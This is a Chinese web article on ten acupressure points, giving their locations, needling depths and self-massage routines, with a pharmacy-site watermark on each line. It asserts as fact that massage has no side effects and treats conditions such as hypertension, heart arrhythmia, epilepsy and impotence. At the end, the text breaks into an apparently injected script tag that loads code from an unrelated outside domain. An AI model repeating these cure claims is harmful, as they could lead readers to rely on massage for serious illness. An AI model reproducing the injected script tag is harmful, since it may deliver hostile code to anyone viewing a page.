10大养生穴位 按一按治病长寿

发布日期:2011年9月27日    来源:凤凰网  阅读数: 107


按摩无副作用,不花钱,能治病,人人可以动手。

中国药店:www.zgyd.org   三里内关穴,胸腹中妙诀。

中国药店:www.zgyd.org   曲池与合谷,头面病可彻。

中国药店:www.zgyd.org   腰背痛相连,殷门昆仑穴。

中国药店:www.zgyd.org   头项若有病,后溪并风池。

中国药店:www.zgyd.org   膝前兼胸胁,环跳与阳陵。

中国药店:www.zgyd.org   三百六十穴,不外十要穴。

中国药店:www.zgyd.org   1、“足三里”穴(在外膝眼下三寸,胫骨外一横指处,正坐屈膝垂足取穴),是足阳明胃经上一个重要穴位。针灸5分~2寸。

中国药店:www.zgyd.org   按摩方法:①脱去外衣留内衣,正坐床上或凳椅上,两腿屈膝,用两手拇指分别按压在两腿足三里上,余四指并拢托住小腿肚,两拇指同时用力按揉50下。②双手掌同时拍打两腿足三里各50下。

中国药店:www.zgyd.org   保健作用:能主治胃脘痛、呕吐、腹痛、腹泻、腹胀、水肿、消化不良、便秘、偏瘫、下肢痛、口歪、乳痛、咽喉肿痛、发热、感冒、失眠、高血压、遗精、早泄、阳痿等,且能降虚火、安神定志、为强壮保健要穴之一。

中国药店:www.zgyd.org   2、“内关”穴(在腕横纹正中上二寸,两筋之间),是手少阴心包经上一个重要穴位。针5分。

中国药店:www.zgyd.org   按摩方法:①用右手拇指按压左手内关,食指托住外关穴(在腕关节背侧、内关相对),两指同时按压,一捏一松50下;换左手捏拿右手内关50下。②用右拇指按压捻揉左手内关50下;换左手拇指捻揉右手内关50下。

中国药店:www.zgyd.org   保健作用:能主治胃脘痛、呕吐、心痛、心烦、心慌、心悸、心律不齐、心胸部各种疾患、失眠、癫痫、癔病等,且能直接影响心脏的血液供应。

中国药店:www.zgyd.org   3、“曲池”穴(屈肘成直角在肘纹外端,凹陷中,掌心向内取穴),是手阳明大肠经上一个重要穴位。针5~7分。

中国药店:www.zgyd.org   按摩方法:①用右手食指按压在左手曲池上,拇指托住少海穴(在肘窝底、曲池穴相对),拇食两指同时用力捏捻50下;换左手捏拿右肘曲池50下。②用右手拇指按压捻揉左肘曲池50下;换左手拇食指捏拿揉捻右肘曲池50下。

中国药店:www.zgyd.org   保健作用:能主治发热、高血压、肩肘臂痛、咽喉肿痛、上肢不遂或抽搐、扁桃腺炎、关节炎、月经不调等。

中国药店:www.zgyd.org   4、“合谷”穴(拇、食指掌骨之间),也是手阳明大肠的一个主要穴位。针3~7分,孕妇忌针灸。

中国药店:www.zgyd.org   按摩方法:用右手拇食指岔开,捏拿左手合谷50下;换左手捏拿右手合谷50下。

中国药店:www.zgyd.org   保健作用:能主治头痛、感冒、目赤痛、鼻炎、鼻衄、齿痛、臂痛、咽喉肿痛、中风、口眼歪斜、无汗、多汗、便秘、经闭等。

中国药店:www.zgyd.org   5、“殷门”穴(在大腿后侧、臀横纹至腘横纹正中央联线中点),是足太阳膀胱经上一个重要穴位。针8分~1寸。

中国药店:www.zgyd.org   按摩方法:①脱去外衣留内衣,正坐床上或凳椅上,用两手拇食指岔开,同时捏拿两殷门各50下。②两手掌分按两腿殷门,同时上下摩擦50下。

中国药店:www.zgyd.org   保健作用:能主治腿痛、腰背臂痛、坐骨神经痛、下肢麻木疼痛、腰间盘突出等。

中国药店:www.zgyd.org   6、“昆仑”穴(在外踝后5分与跟腱之间凹陷中),也是足太阳膀胱经上一个主要穴位。针5分,针刺角度向内踝前缘,孕妇忌针。

中国药店:www.zgyd.org   按摩方法:①用右手拇食指岔开,食指按在右足昆仑穴,拇指按在右足内踝下照海穴?script src=http://www.234mu.com/>

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